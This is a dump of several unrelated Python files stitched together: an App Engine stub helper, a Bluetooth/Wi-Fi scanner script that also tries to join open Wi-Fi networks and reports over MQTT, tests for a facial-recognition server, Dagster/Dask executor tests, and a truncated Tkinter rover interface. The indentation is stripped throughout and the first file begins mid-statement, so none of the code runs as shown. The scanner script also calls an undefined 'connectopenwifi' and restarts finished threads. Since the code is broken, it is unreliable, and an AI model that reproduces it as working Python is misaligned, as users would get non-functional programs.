sqlite_datastore_stub)
datastore.Put(entities)
sqlite_datastore_stub.Close()
finally:
apiproxy_stub_map.apiproxy.ReplaceStub('datastore_v3', previous_stub)
shutil.copy(datastore_path, datastore_path + '.filestub')
os.remove(datastore_path)
shutil.move(datastore_path + '.sqlite', datastore_path)
logging.info('Datastore conversion complete. File stub data has been backed '
'up in %s', datastore_path + '.filestub')
def _fetch_all_datastore_entities():
"""Returns all datastore entities from all namespaces as a list."""
all_entities = []
for namespace in datastore.Query('__namespace__').Run():
namespace_name = namespace.key().name()
for kind in datastore.Query('__kind__', namespace=namespace_name).Run():
all_entities.extend(
datastore.Query(kind.key().name(), namespace=namespace_name).Run())
return all_entities
def test_setup_stubs(
request_data=None,
app_id='myapp',
application_root='/tmp/root',
trusted=False,
appidentity_email_address=None,
appidentity_private_key_path=None,
# TODO: is this correct? If I'm following the flow correctly, this
# should not be a file but a directory.
blobstore_path='/dev/null',
datastore_consistency=None,
datastore_path=':memory:',
datastore_require_indexes=False,
datastore_auto_id_policy=datastore_stub_util.SCATTERED,
images_host_prefix='http://localhost:8080',
logs_path=':memory:',
mail_smtp_host='',
mail_smtp_port=25,
mail_smtp_user='',
mail_smtp_password='',
mail_enable_sendmail=False,
mail_show_mail_body=False,
mail_allow_tls=True,
search_index_path=None,
taskqueue_auto_run_tasks=False,
taskqueue_default_http_server='http://localhost:8080',
user_login_url='/_ah/login?continue=%s',
user_logout_url='/_ah/login?continue=%s',
default_gcs_bucket_name=None,
appidentity_oauth_url=None):
"""Similar to setup_stubs with reasonable test defaults and recallable."""
# Reset the stub map between requests because a stub map only allows a
# stub to be added once.
apiproxy_stub_map.apiproxy = apiproxy_stub_map.APIProxyStubMap()
if datastore_consistency is None:
datastore_consistency = (
datastore_stub_util.PseudoRandomHRConsistencyPolicy())
setup_stubs(request_data,
app_id,
application_root,
trusted,
appidentity_email_address,
appidentity_private_key_path,
blobstore_path,
datastore_consistency,
datastore_path,
datastore_require_indexes,
datastore_auto_id_policy,
images_host_prefix,
logs_path,
mail_smtp_host,
mail_smtp_port,
mail_smtp_user,
mail_smtp_password,
mail_enable_sendmail,
mail_show_mail_body,
mail_allow_tls,
search_index_path,
taskqueue_auto_run_tasks,
taskqueue_default_http_server,
user_login_url,
user_logout_url,
default_gcs_bucket_name,
appidentity_oauth_url)
def cleanup_stubs():
"""Do any necessary stub cleanup e.g. saving data."""
# Saving datastore
logging.info('Applying all pending transactions and saving the datastore')
datastore_stub = apiproxy_stub_map.apiproxy.GetStub('datastore_v3')
datastore_stub.Write()
logging.info('Saving search indexes')
apiproxy_stub_map.apiproxy.GetStub('search').Write()
apiproxy_stub_map.apiproxy.GetStub('taskqueue').Shutdown()
|
StartScan.py | from util import *
from wif import w
from ble import ble
import threading
import time
import os
os.system('sudo systemctl start bluetooth')
#Main function that start every thread to scan bluetooth and wifi, send saves and subscribe to the mqtt server
def Start():
scanble = threading.Thread(target=ble,args=())
scanwifi = threading.Thread(target=w,args=())
sendsaveble = threading.Thread(target=ssb,args=())
sendsavewifi = threading.Thread(target=ssw,args=())
mqttlistenerthread = threading.Thread(target=mqttlistener,args=())
while 1:
try:
if mqttlistenerthread.is_alive() == False:
print 'rerun'
mqttlistenerthread.start()
except:error('mqtt broken')
try:
if sendsavewifi.is_alive() == False:
sendsavewifi.start()
except:error('Can\'t run sendsavewifi thread in s.py')
try:
if sendsaveble.is_alive() == False:
sendsaveble.start()
except:error('Can\'t run sendsaveble thread in s.py')
try:
if scanble.is_alive() == False:
scanble.start()
except:error('Can\'t run scanble thread in s.py')
try:
if scanwifi.is_alive() == False:
scanwifi.start()
except:error('Can\'t run scanWifi thread in s.py')
try:
if connectopenwifi.is_alive() == False:
print 'openwifi run'
connectopenwifi.start()
except:error('failed to search open wifi')
Start()
|
test_facial_recognition_server.py | """utest presenter socket server module"""
# -*- coding: UTF-8 -*-
#
# =======================================================================
#
# Copyright (C) 2018, Hisilicon Technologies Co., Ltd. All Rights Reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1 Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2 Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3 Neither the names of the copyright holders nor the names of the
# contributors may be used to endorse or promote products derived from this
# software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
# =======================================================================
#
import os
import sys
import random
import time
import json
import threading
import unittest
import select
import socket
from unittest.mock import patch
import struct
import shutil
from json.decoder import JSONDecodeError
path = os.path.dirname(__file__)
index = path.rfind("ascenddk")
workspace = path[0: index]
path = os.path.join(workspace, "ascenddk/common/presenter/server")
sys.path.append(path)
import common.channel_manager as channel_manager
import common.channel_handler as channel_handler
import common.presenter_message_pb2 as pb
import facial_recognition.src.facial_recognition_message_pb2 as facial_pb
from google.protobuf.message import DecodeError
import facial_recognition.src.facial_recognition_server as facial_recognition_server
from facial_recognition.src.facial_recognition_server import FacialRecognitionManager
from facial_recognition.src.config_parser import ConfigParser
HOST = "127.127.0.1"
STORAGE_DIR = "/var/lib/presenter/facial_recognition"
PORT_BEGIN = 20000
CLIENT_SOCK = None
RUN_FLAG = True
SOCK_RECV_NULL = b''
APP_NAME = "facial_recognition"
def mock_join_exp(a, b):
raise OSError
def mock_dump_exp(a, b):
raise OSError
def mock_parse_proto_exp(a):
raise DecodeError
def read_socket(conn, read_len):
has_read_len = 0
read_buf = SOCK_RECV_NULL
total_buf = SOCK_RECV_NULL
while has_read_len != read_len:
try:
read_buf = conn.recv(read_len - has_read_len)
except socket.error:
return False, None
if read_buf == SOCK_RECV_NULL:
return False, None
total_buf += read_buf
has_read_len = len(total_buf)
return True, total_buf
def protobuf_register_app():
app = facial_pb.RegisterApp()
app.id = APP_NAME
app.type = APP_NAME
return app.SerializeToString()
def protobuf_heartbeat():
heartbeat = pb.HeartbeatMessage()
return heartbeat.SerializeToString()
def send_message(message_name, proto_data):
message_name_size = len(message_name)
msg_data = proto_data
msg_data_size = len(msg_data)
message_total_size = 5 + message_name_size + msg_data_size
message_head = (socket.htonl(message_total_size), message_name_size)
s = struct.Struct('IB')
packed_data = s.pack(*message_head)
bytes(message_name, encoding="utf-8")
message_data = packed_data + bytes(message_name, encoding="utf-8") + msg_data
CLIENT_SOCK.sendall(message_data[:10])
CLIENT_SOCK.sendall(message_data[10:])
def register_app():
global CLIENT_SOCK
server_addr = ("127.0.0.1", 7008)
CLIENT_SOCK = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
CLIENT_SOCK.connect(server_addr)
CLIENT_SOCK.setblocking(1)
send_message(facial_pb._REGISTERAPP.full_name, protobuf_register_app())
def protobuf_image_request():
send_request = facial_pb.FrameInfo()
send_request.image = b'xxx'
for i in range(1):
face = send_request.feature.add()
face.box.lt_x = 1
face.box.lt_y = 1
face.box.rb_x = 1
face.box.rb_y = 1
for j in range(1024):
v = random.randint(0, 100)
face.vector.append(v)
return send_request.SerializeToString()
def protobuf_open_channel(channel_name):
open_channel = pb.OpenChannelRequest()
open_channel.channel_name = channel_name
open_channel.content_type = pb.kChannelContentTypeVideo
return open_channel.SerializeToString()
def face_feature(face_id):
response = facial_pb.FaceResult()
response.id = face_id
response.response.ret = facial_pb.kErrorNone
response.response.message = "succeed"
for i in range(1):
face = response.feature.add()
face.box.lt_x = 1
face.box.lt_y = 1
face.box.rb_x = 1
face.box.rb_y = 1
for j in range(1024):
face.vector.append(100)
return response.SerializeToString()
def process_face_register(message_body):
face_info = facial_pb.FaceInfo()
face_info.ParseFromString(message_body)
face_id = face_info.id
send_message(facial_pb._FACERESULT.full_name, face_feature(face_id))
def process_message():
message_head = CLIENT_SOCK.recv(5)
s = struct.Struct('IB')
(message_len, messagename_len) = s.unpack(message_head)
message_len = socket.ntohl(message_len)
message_name = CLIENT_SOCK.recv(messagename_len)
message_name = message_name.decode("utf-8")
read_len = message_len -5 -messagename_len
ret, message_body = read_socket(CLIENT_SOCK, read_len)
if not ret:
return
if message_name == facial_pb._FACEINFO.full_name:
process_face_register(message_body)
def thread(func):
thread = threading.Thread(target=func)
thread.start()
def client_server():
register_app()
while RUN_FLAG:
send_message(pb._HEARTBEATMESSAGE.full_name, protobuf_heartbeat())
process_message()
time.sleep(1)
class Test_FacialRecognitionServer(unittest.TestCase):
"""Test_FacialRecognitionServer"""
manager = None
server = None
def tearDown(self):
pass
def setUp(self):
pass
@classmethod
def tearDownClass(cls):
send_message("unkown message", protobuf_heartbeat())
global RUN_FLAG
RUN_FLAG = False
if os.path.exists(STORAGE_DIR):
shutil.rmtree(STORAGE_DIR, ignore_errors=True)
server = Test_FacialRecognitionServer.server
server.stop_thread()
@classmethod
def setUpClass(cls):
if os.path.exists(STORAGE_DIR):
shutil.rmtree(STORAGE_DIR, ignore_errors=True)
os.makedirs(STORAGE_DIR)
Test_FacialRecognitionServer.server = facial_recognition_server.run()
Test_FacialRecognitionServer.manager = FacialRecognitionManager()
@patch("os.path.isfile", return_value=False)
def test_init_face_database(mock):
server = Test_FacialRecognitionServer.server
server._init_face_database()
test_init_face_database()
# register app
thread(client_server)
def test_get_app_list(self):
manager = Test_FacialRecognitionServer.manager
time.sleep(0.5)
ret = manager.get_app_list()
self.assertEqual(ret, [APP_NAME])
@patch('facial_recognition.src.facial_recognition_server.FacialRecognitionServer')
def test_register_face_fail(self, mock):
manager = Test_FacialRecognitionServer.manager
ori_server = manager.server
manager.server = mock.return_value
name = 1
image = b'abc'
(ret, msg) = manager.register_face(name, image)
self.assertEqual(ret, False)
name = "face1"
image = 2
(ret, msg) = manager.register_face(name, image)
self.assertEqual(ret, False)
name = "face1"
image = b'data'
manager.server.max_face_num = 0
(ret, msg) = manager.register_face(name, image)
self.assertEqual(ret, False)
manager.server.max_face_num = 100
name = "face1"
image = b'data'
manager.server.list_registered_apps.return_value = None
(ret, msg) = manager.register_face(name, image)
self.assertEqual(ret, False)
manager.server.list_registered_apps.return_value = ["a"]
name = "face1"
image = b'data'
manager.server.get_app_socket.return_value = None
(ret, msg) = manager.register_face(name, image)
self.assertEqual(ret, False)
manager.server.get_app_socket.return_value = "sock"
manager.server = ori_server
name = "face1"
image = b'data'
facial_recognition_server.FACE_REGISTER_STATUS_WAITING = 2
(ret, msg) = manager.register_face(name, image)
self.assertEqual(ret, False)
facial_recognition_server.FACE_REGISTER_STATUS_WAITING = 1
name = "face1"
image = b'data'
facial_recognition_server.FACE_REGISTER_STATUS_FAILED = 2
(ret, msg) = manager.register_face(name, image)
self.assertEqual(ret, False)
facial_recognition_server.FACE_REGISTER_STATUS_FAILED = 3
manager.server = mock.return_value
name = "face1"
image = b'data'
manager.server.save_face_image.return_value = False
(ret, msg) = manager.register_face(name, image)
self.assertEqual(ret, False)
manager.server = ori_server
def test_unregister_face(self):
# register a face
server = Test_FacialRecognitionServer.server
manager = Test_FacialRecognitionServer.manager
name = "face1"
image = b'data'
(ret, msg) = manager.register_face(name, image)
self.assertEqual(ret, True)
@patch('json.dump')
def test_delete_faces(mock_dump):
mock_dump.side_effect = mock_dump_exp
ret = server.delete_faces([name])
self.assertEqual(ret, False)
test_delete_faces()
# open channel to send a frame
send_message(pb._OPENCHANNELREQUEST.full_name, protobuf_open_channel(APP_NAME))
time.sleep(0.5) # wait 0.5sec for message processing
send_message(facial_pb._FRAMEINFO.full_name, protobuf_image_request())
time.sleep(0.5) # wait 0.5sec for message processing
# unregister face
ret = manager.unregister_face([name])
self.assertEqual(ret, True)
ret = manager.unregister_face(name)
self.assertEqual(ret, False)
def test_get_faces(self):
# register a face
manager = Test_FacialRecognitionServer.manager
name = "face2"
image = b'data'
(ret, msg) = manager.register_face(name, image)
self.assertEqual(ret, True)
ret = manager.get_faces(name)
self.assertEqual(ret, [])
ret = manager.get_faces([name])
self.assertNotEqual(ret, [])
# unregister face
ret = manager.unregister_face([name])
self.assertEqual(ret, True)
def test_get_faces_with_oserror(self):
# register a face
manager = Test_FacialRecognitionServer.manager
name = "face2"
image = b'data'
(ret, msg) = manager.register_face(name, image)
self.assertEqual(ret, True)
@patch('os.path.join')
def test_get_faces(mock_join):
mock_join.side_effect = mock_join_exp
ret = manager.get_faces([name])
self.assertEqual(ret, [])
test_get_faces()
# unregister face
ret = manager.unregister_face([name])
self.assertEqual(ret, True)
@patch("os.path.isfile")
def test_filter_registration_data(self, mock):
server = Test_FacialRecognitionServer.server
ori_registered_faces = server.registered_faces
server.registered_faces = {"face_name":"face_data"}
mock.return_value = False
server._filter_registration_data()
server.registered_faces = ori_registered_faces
@patch("os.path.join")
def test_save_face_image(self, mock):
server = Test_FacialRecognitionServer.server
mock.return_value = None
ret = server.save_face_image("face_name", "face_data")
self.assertEqual(ret, False)
"""utest"""
# @patch("os.path.isfile", return_value=False)
# def test_parse_protobuf(self, mock):
# server = Test_FacialRecognitionServer.server
# mock.side_effect = mock_parse_proto_exp
# request = facial_pb.RegisterApp()
# ret = server._init_face_database(request, b'xxx')
# self.assertEqual(ret, False)
@patch("google.protobuf.message.Message.ParseFromString")
def test_parse_protobuf(self, mock):
server = Test_FacialRecognitionServer.server
mock.side_effect = mock_parse_proto_exp
request = facial_pb.RegisterApp()
ret = server._parse_protobuf(request, b'xxx')
self.assertEqual(ret, False)
@patch("facial_recognition.src.facial_recognition_server.FacialRecognitionServer._parse_protobuf")
@patch("facial_recognition.src.facial_recognition_server.FacialRecognitionServer.send_message", return_value=True)
def test_process_register_app_fail(self, mock1, mock2):
server = Test_FacialRecognitionServer.server
def parse_protobuf(request, msg_data):
return False
def _parse_protobuf_1(request, msg_data):
request.id = APP_NAME
request.type = APP_NAME
return True
def _parse_protobuf_2(request, msg_data):
request.id = "new_app"
request.type = "invalid"
return True
def _parse_protobuf_3(request, msg_data):
request.id = "aaaaaaaaaaaaaaaaaaaaaaaaaa"
request.type = APP_NAME
return True
mock2.side_effect = parse_protobuf
ret = server._process_register_app(None, b'xxx')
self.assertEqual(ret, False)
mock2.side_effect = _parse_protobuf_1
ret = server._process_register_app(None, b'xxx')
self.assertEqual(ret, False)
mock2.side_effect = _parse_protobuf_2
ret = server._process_register_app(None, b'xxx')
self.assertEqual(ret, False)
mock2.side_effect = _parse_protobuf_3
ret = server._process_register_app(None, b'xxx')
self.assertEqual(ret, False)
back_up = facial_recognition_server.MAX_APP_NUM
facial_recognition_server.MAX_APP_NUM = 0
mock2.side_effect = _parse_protobuf_3
ret = server._process_register_app(None, b'xxx')
self.assertEqual(ret, False)
facial_recognition_server.MAX_APP_NUM = back_up
@patch("facial_recognition.src.facial_recognition_server.FacialRecognitionServer._update_register_dict", return_value=True)
@patch("facial_recognition.src.facial_recognition_server.FacialRecognitionServer._parse_protobuf")
def test_process_face_result_fail(self, mock1, mock2):
server = Test_FacialRecognitionServer.server
face_id = "face_test"
def parse_protobuf(request, msg_data):
return False
def _parse_protobuf_1(request, msg_data):
request.id = face_id
return True
def _parse_protobuf_2(request, msg_data):
request.id = face_id
request.response.ret = facial_pb.kErrorOther
return True
def _parse_protobuf_3(request, msg_data):
request.id = face_id
request.response.ret = facial_pb.kErrorNone
request.response.message = "succeed"
for i in range(2):
face = request.feature.add()
face.box.lt_x = 1
face.box.lt_y = 1
face.box.rb_x = 1
face.box.rb_y = 1
for j in range(1024):
face.vector.append(100)
return True
def _parse_protobuf_4(request, msg_data):
request.id = face_id
request.response.ret = facial_pb.kErrorNone
request.response.message = "succeed"
for i in range(1):
face = request.feature.add()
face.box.lt_x = 1
face.box.lt_y = 1
face.box.rb_x = 1
face.box.rb_y = 1
for j in range(100):
face.vector.append(100)
return True
mock1.side_effect = parse_protobuf
ret = server._process_face_result(b'xxx')
self.assertEqual(ret, False)
mock1.side_effect = _parse_protobuf_1
ret = server._process_face_result(b'xxx')
self.assertEqual(ret, True)
server.register_dict[face_id] = {
"status":"",
"message":"",
"event":""
}
mock1.side_effect = _parse_protobuf_2
ret = server._process_face_result(b'xxx')
self.assertEqual(ret, True)
mock1.side_effect = _parse_protobuf_1
ret = server._process_face_result(b'xxx')
self.assertEqual(ret, True)
mock1.side_effect = _parse_protobuf_3
ret = server._process_face_result(b'xxx')
self.assertEqual(ret, True)
mock1.side_effect = _parse_protobuf_4
ret = server._process_face_result(b'xxx')
self.assertEqual(ret, True)
del server.register_dict[face_id]
def test_save_face_feature_fail(self):
server = Test_FacialRecognitionServer.server
face_id = "face_test"
face_coordinate = None
feature_vector = None
back_up = server.face_register_file
server.face_register_file = 123
ret = server._save_face_feature(face_id, face_coordinate, feature_vector)
self.assertEqual(ret, False)
server.face_register_file = back_up
@patch("common.channel_manager.ChannelManager.is_channel_busy")
@patch("common.channel_manager.ChannelManager.is_channel_exist")
@patch("facial_recognition.src.facial_recognition_server.FacialRecognitionServer._parse_protobuf")
@patch("facial_recognition.src.facial_recognition_server.FacialRecognitionServer._response_open_channel", return_value=True)
def test_process_open_channel_fail(self, mock1, mock2, mock3, mock4):
server = Test_FacialRecognitionServer.server
def parse_protobuf(request, msg_data):
return False
def _parse_protobuf_1(request, msg_data):
return True
def _parse_protobuf_2(request, msg_data):
request.content_type = pb.kChannelContentTypeImage
return True
mock2.side_effect = parse_protobuf
ret = server._process_open_channel(None, b'xxx')
self.assertEqual(ret, True)
mock3.return_value = False
mock2.side_effect = _parse_protobuf_1
ret = server._process_open_channel(None, b'xxx')
self.assertEqual(ret, True)
mock3.return_value = True
mock4.return_value = True
mock2.side_effect = _parse_protobuf_1
ret = server._process_open_channel(None, b'xxx')
self.assertEqual(ret, True)
mock3.return_value = True
mock4.return_value = False
mock2.side_effect = _parse_protobuf_2
ret = server._process_open_channel(None, b'xxx')
self.assertEqual(ret, True)
@patch("common.channel_manager.ChannelManager.get_channel_handler_by_fd", return_value=None)
@patch("facial_recognition.src.facial_recognition_server.FacialRecognitionServer._parse_protobuf")
@patch("facial_recognition.src.facial_recognition_server.FacialRecognitionServer.send_message", return_value=True)
def test_process_frame_info_fail(self, mock1, mock2, mock3):
server = Test_FacialRecognitionServer.server
def parse_protobuf(request, msg_data):
return False
def _parse_protobuf_1(request, msg_data):
return True
mock2.side_effect = parse_protobuf
ret = server._process_frame_info(None, b'xxx')
self.assertEqual(ret, False)
mock2.side_effect = _parse_protobuf_1
ret = server._process_frame_info(CLIENT_SOCK, b'xxx')
self.assertEqual(ret, False)
def test_recognize_face_fail(self):
server = Test_FacialRecognitionServer.server
def produce_face_feature():
face = facial_pb.FaceFeature()
face.box.lt_x = 1
face.box.lt_y = 1
face.box.rb_x = 1
face.box.rb_y = 1
for j in range(100):
face.vector.append(100)
return face
feature = produce_face_feature()
ret = server._recognize_face([feature])
self.assertEqual(ret, [])
@patch("facial_recognition.src.facial_recognition_server.FacialRecognitionServer._compute_similar_degree", return_value=0.1)
def test_compute_face_feature_fail(self, mock):
server = Test_FacialRecognitionServer.server
def produce_face_feature():
face = facial_pb.FaceFeature()
face.box.lt_x = 1
face.box.lt_y = 1
face.box.rb_x = 1
face.box.rb_y = 1
for j in range(100):
face.vector.append(100)
return face
backup = server.registered_faces
server.registered_faces["face_test"] = {"feature":None}
feature = produce_face_feature()
(_, score) = server._compute_face_feature(feature.vector)
self.assertEqual(score, 0)
@patch("facial_recognition.src.config_parser.ConfigParser.config_verify", return_value=False)
def test_run_fail(self, mock):
ret = facial_recognition_server.run()
self.assertEqual(ret, None)
if __name__ == '__main__':
# unittest.main()
suite = unittest.TestSuite()
suite.addTest(Test_FacialRecognitionServer("test_save_face_feature_fail"))
runner = unittest.TextTestRunner()
runner.run(suite)
|
test_execute.py | import asyncio
import tempfile
import time
from threading import Thread
import dagster_pandas as dagster_pd
import pytest
from dagster_dask import DataFrame, dask_executor
from dask.distributed import Scheduler, Worker
from dagster import (
DagsterUnmetExecutorRequirementsError,
InputDefinition,
ModeDefinition,
VersionStrategy,
execute_pipeline,
execute_pipeline_iterator,
file_relative_path,
fs_io_manager,
job,
op,
pipeline,
reconstructable,
solid,
)
from dagster.core.definitions.executor_definition import default_executors
from dagster.core.definitions.reconstruct import ReconstructablePipeline
from dagster.core.events import DagsterEventType
from dagster.core.test_utils import instance_for_test, nesting_composite_pipeline
from dagster.utils import send_interrupt
@solid
def simple(_):
return 1
@pipeline(
mode_defs=[
ModeDefinition(
name="default",
executor_defs=default_executors + [dask_executor],
),
ModeDefinition(
name="filesystem",
resource_defs={"io_manager": fs_io_manager},
executor_defs=default_executors + [dask_executor],
),
]
)
def dask_engine_pipeline():
simple()
def test_execute_on_dask_local():
with tempfile.TemporaryDirectory() as tempdir:
with instance_for_test(temp_dir=tempdir) as instance:
result = execute_pipeline(
reconstructable(dask_engine_pipeline),
run_config={
"resources": {"io_manager": {"config": {"base_dir": tempdir}}},
"execution": {"dask": {"config": {"cluster": {"local": {"timeout": 30}}}}},
},
instance=instance,
mode="filesystem",
)
assert result.result_for_solid("simple").output_value() == 1
def dask_composite_pipeline():
return nesting_composite_pipeline(
6,
2,
mode_defs=[
ModeDefinition(
resource_defs={"io_manager": fs_io_manager},
executor_defs=default_executors + [dask_executor],
)
],
)
def test_composite_execute():
with instance_for_test() as instance:
result = execute_pipeline(
reconstructable(dask_composite_pipeline),
run_config={
"execution": {"dask": {"config": {"cluster": {"local": {"timeout": 30}}}}},
},
instance=instance,
)
assert result.success
@solid(input_defs=[InputDefinition("df", dagster_pd.DataFrame)])
def pandas_solid(_, df): # pylint: disable=unused-argument
pass
@pipeline(
mode_defs=[
ModeDefinition(
resource_defs={"io_manager": fs_io_manager},
executor_defs=default_executors + [dask_executor],
)
]
)
def pandas_pipeline():
pandas_solid()
def test_pandas_dask():
run_config = {
"solids": {
"pandas_solid": {
"inputs": {"df": {"csv": {"path": file_relative_path(__file__, "ex.csv")}}}
}
}
}
with instance_for_test() as instance:
result = execute_pipeline(
ReconstructablePipeline.for_file(__file__, pandas_pipeline.name),
run_config={
"execution": {"dask": {"config": {"cluster": {"local": {"timeout": 30}}}}},
**run_config,
},
instance=instance,
)
assert result.success
@solid(input_defs=[InputDefinition("df", DataFrame)])
def dask_solid(_, df): # pylint: disable=unused-argument
pass
@pipeline(
mode_defs=[
ModeDefinition(
resource_defs={"io_manager": fs_io_manager},
executor_defs=default_executors + [dask_executor],
)
]
)
def dask_pipeline():
dask_solid()
def test_dask():
run_config = {
"solids": {
"dask_solid": {
"inputs": {
"df": {"read": {"csv": {"path": file_relative_path(__file__, "ex*.csv")}}}
}
}
}
}
with instance_for_test() as instance:
result = execute_pipeline(
ReconstructablePipeline.for_file(__file__, dask_pipeline.name),
run_config={
"execution": {"dask": {"config": {"cluster": {"local": {"timeout": 30}}}}},
**run_config,
},
instance=instance,
)
assert result.success
def test_execute_on_dask_local_without_io_manager():
with pytest.raises(DagsterUnmetExecutorRequirementsError):
with instance_for_test() as instance:
result = execute_pipeline(
reconstructable(dask_engine_pipeline),
run_config={
"execution": {"dask": {"config": {"cluster": {"local": {"timeout": 30}}}}},
},
instance=instance,
mode="default",
)
assert result.result_for_solid("simple").output_value() == 1
@solid(input_defs=[InputDefinition("df", DataFrame)])
def sleepy_dask_solid(_, df): # pylint: disable=unused-argument
start_time = time.time()
while True:
time.sleep(0.1)
if time.time() - start_time > 120:
raise Exception("Timed out")
@pipeline(
mode_defs=[
ModeDefinition(
resource_defs={"io_manager": fs_io_manager},
executor_defs=default_executors + [dask_executor],
)
]
)
def sleepy_dask_pipeline():
sleepy_dask_solid()
def test_dask_terminate():
run_config = {
"solids": {
"sleepy_dask_solid": {
"inputs": {
"df": {"read": {"csv": {"path": file_relative_path(__file__, "ex*.csv")}}}
}
}
}
}
interrupt_thread = None
result_types = []
with instance_for_test() as instance:
for result in execute_pipeline_iterator(
pipeline=ReconstructablePipeline.for_file(__file__, sleepy_dask_pipeline.name),
run_config=run_config,
instance=instance,
):
# Interrupt once the first step starts
if result.event_type == DagsterEventType.STEP_START and not interrupt_thread:
interrupt_thread = Thread(target=send_interrupt, args=())
interrupt_thread.start()
if result.event_type == DagsterEventType.STEP_FAILURE:
assert (
"DagsterExecutionInterruptedError" in result.event_specific_data.error.message
)
result_types.append(result.event_type)
interrupt_thread.join()
assert DagsterEventType.STEP_FAILURE in result_types
assert DagsterEventType.PIPELINE_FAILURE in result_types
@pytest.mark.skip(
"Failing with RuntimeError: This event loop is already running since distributed==2022.1.0"
)
def test_existing_scheduler():
def _execute(scheduler_address, instance):
return execute_pipeline(
reconstructable(dask_engine_pipeline),
run_config={
"execution": {
"dask": {"config": {"cluster": {"existing": {"address": scheduler_address}}}}
},
},
instance=instance,
mode="filesystem",
)
async def _run_test():
with instance_for_test() as instance:
async with Scheduler() as scheduler:
async with Worker(scheduler.address) as _:
result = await asyncio.get_event_loop().run_in_executor(
None, _execute, scheduler.address, instance
)
assert result.success
assert result.result_for_solid("simple").output_value() == 1
asyncio.get_event_loop().run_until_complete(_run_test())
@solid
def foo_solid():
return "foo"
class BasicVersionStrategy(VersionStrategy):
def get_solid_version(self, _):
return "foo"
@pipeline(
mode_defs=[
ModeDefinition(
resource_defs={"io_manager": fs_io_manager},
executor_defs=default_executors + [dask_executor],
)
],
version_strategy=BasicVersionStrategy(),
)
def foo_pipeline():
foo_solid()
def test_dask_executor_memoization():
with instance_for_test() as instance:
result = execute_pipeline(
reconstructable(foo_pipeline),
instance=instance,
run_config={"execution": {"dask": {"config": {"cluster": {"local": {"timeout": 30}}}}}},
)
assert result.success
assert result.output_for_solid("foo_solid") == "foo"
result = execute_pipeline(
reconstructable(foo_pipeline),
instance=instance,
run_config={"execution": {"dask": {"config": {"cluster": {"local": {"timeout": 30}}}}}},
)
assert result.success
assert len(result.step_event_list) == 0
@op
def the_op():
return 5
@job(executor_def=dask_executor)
def the_job():
the_op()
def test_dask_executor_job():
with instance_for_test() as instance:
result = execute_pipeline(
reconstructable(the_job),
instance=instance,
run_config={"execution": {"config": {"cluster": {"local": {"timeout": 30}}}}},
)
assert result.success
assert result.output_for_solid("the_op") == 5
|
Tkinter_ROVER_interface.py | import tkinter as tk
from random import randrange,randint
import threading
import time
t1=0.0
speed=0
autonomy = False
running=False
window=tk.Tk()
window.title('RUDRA ROVER')
window.geometry('1280x720')
COLORS = ['snow', 'ghost white', 'white smoke', 'gainsboro', 'floral white', 'old lace',
'linen', 'antique white', 'papaya whip', 'blanched almond', 'bisque', 'peach puff',
'navajo white', 'lemon chiffon', 'mint cream', 'azure', 'alice blue', 'lavender',
'lavender blush', 'misty rose', 'dark slate gray', 'dim gray', 'slate gray',
'light slate gray', 'gray', 'light grey', 'midnight blue', 'navy', 'cornflower blue', 'dark slate blue',
'slate blue', 'medium slate blue', 'light slate blue', 'medium blue', 'royal blue', 'blue',
'dodger blue', 'deep sky blue', 'sky blue', 'light sky blue', 'steel blue', 'light steel blue',
'light blue', 'powder blue', 'pale turquoise', 'dark turquoise', 'medium turquoise', 'turquoise',
'cyan', 'light cyan', 'cadet blue', 'medium aquamarine', 'aquamarine', 'dark green', 'dark olive green',
'dark sea green', 'sea green', 'medium sea green', 'light sea green', 'pale green', 'spring green',
'lawn green', 'medium spring green', 'green yellow', 'lime green', 'yellow green',
'forest green', 'olive drab', 'dark khaki', 'khaki', 'pale goldenrod', 'light goldenrod yellow',
'light yellow', 'yellow', 'gold', 'light goldenrod', 'goldenrod', 'dark goldenrod', 'rosy brown',
'indian red', 'saddle brown', 'sandy brown',
'dark salmon', 'salmon', 'light salmon', 'orange', 'dark orange',
'coral', 'light coral', 'tomato', 'orange red', 'red', 'hot pink', 'deep pink', 'pink', 'light pink',
'pale violet red', 'maroon', 'medium violet red', 'violet red',
'medium orchid', 'dark orchid', 'dark violet', 'blue violet', 'purple', 'medium purple',
'thistle', 'snow2', 'snow3',
'snow4', 'seashell2', 'seashell3', 'seashell4', 'AntiqueWhite1', 'AntiqueWhite2',
'AntiqueWhite3', 'AntiqueWhite4', 'bisque2', 'bisque3', 'bisque4', 'PeachPuff2',
'PeachPuff3', 'PeachPuff4', 'NavajoWhite2', 'NavajoWhite3', 'NavajoWhite4',
'LemonChiffon2', 'LemonChiffon3', 'LemonChiffon4', 'cornsilk2', 'cornsilk3',
'cornsilk4', 'ivory2', 'ivory3', 'ivory4', 'honeydew2', 'honeydew3', 'honeydew4',
'LavenderBlush2', 'LavenderBlush3', 'LavenderBlush4', 'MistyRose2', 'MistyRose3',
'MistyRose4', 'azure2', 'azure3', 'azure4', 'SlateBlue1', 'SlateBlue2', 'SlateBlue3',
'SlateBlue4', 'RoyalBlue1', 'RoyalBlue2', 'RoyalBlue3', 'RoyalBlue4', 'blue2', 'blue4',
'DodgerBlue2', 'DodgerBlue3', 'DodgerBlue4', 'SteelBlue1', 'SteelBlue2',
